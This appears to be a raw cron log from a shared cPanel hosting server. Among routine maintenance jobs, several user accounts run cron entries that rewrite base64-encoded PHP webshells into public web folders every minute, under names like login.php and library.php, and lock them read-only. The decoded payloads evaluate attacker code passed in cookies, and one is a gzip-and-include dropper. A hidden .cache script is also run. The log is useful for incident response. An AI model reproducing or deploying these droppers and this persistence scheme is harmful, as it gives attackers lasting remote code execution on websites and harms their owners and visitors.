Jun  7 05:27:01 medusa CROND[16370]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:27:01 medusa CROND[16364]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:28:01 medusa CROND[17786]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:28:01 medusa CROND[17787]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:28:01 medusa CROND[17788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:28:01 medusa CROND[17789]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:28:01 medusa CROND[17790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:28:01 medusa CROND[17791]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:28:01 medusa CROND[17792]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:28:01 medusa CROND[17796]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:28:01 medusa CROND[17797]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:28:01 medusa CROND[17799]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:28:01 medusa CROND[17800]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:28:01 medusa CROND[17801]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:28:01 medusa CROND[17806]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:28:01 medusa CROND[17807]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:29:01 medusa CROND[19296]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:29:01 medusa CROND[19297]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:29:01 medusa CROND[19298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:29:01 medusa CROND[19299]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 05:29:01 medusa CROND[19300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:29:01 medusa CROND[19301]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:29:01 medusa CROND[19304]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:29:01 medusa CROND[19303]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:29:01 medusa CROND[19306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:29:01 medusa CROND[19308]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:29:01 medusa CROND[19309]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:29:01 medusa CROND[19310]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:29:01 medusa CROND[19312]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20856]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:30:01 medusa CROND[20857]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20858]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:30:01 medusa CROND[20859]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:30:01 medusa CROND[20860]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 05:30:01 medusa CROND[20861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
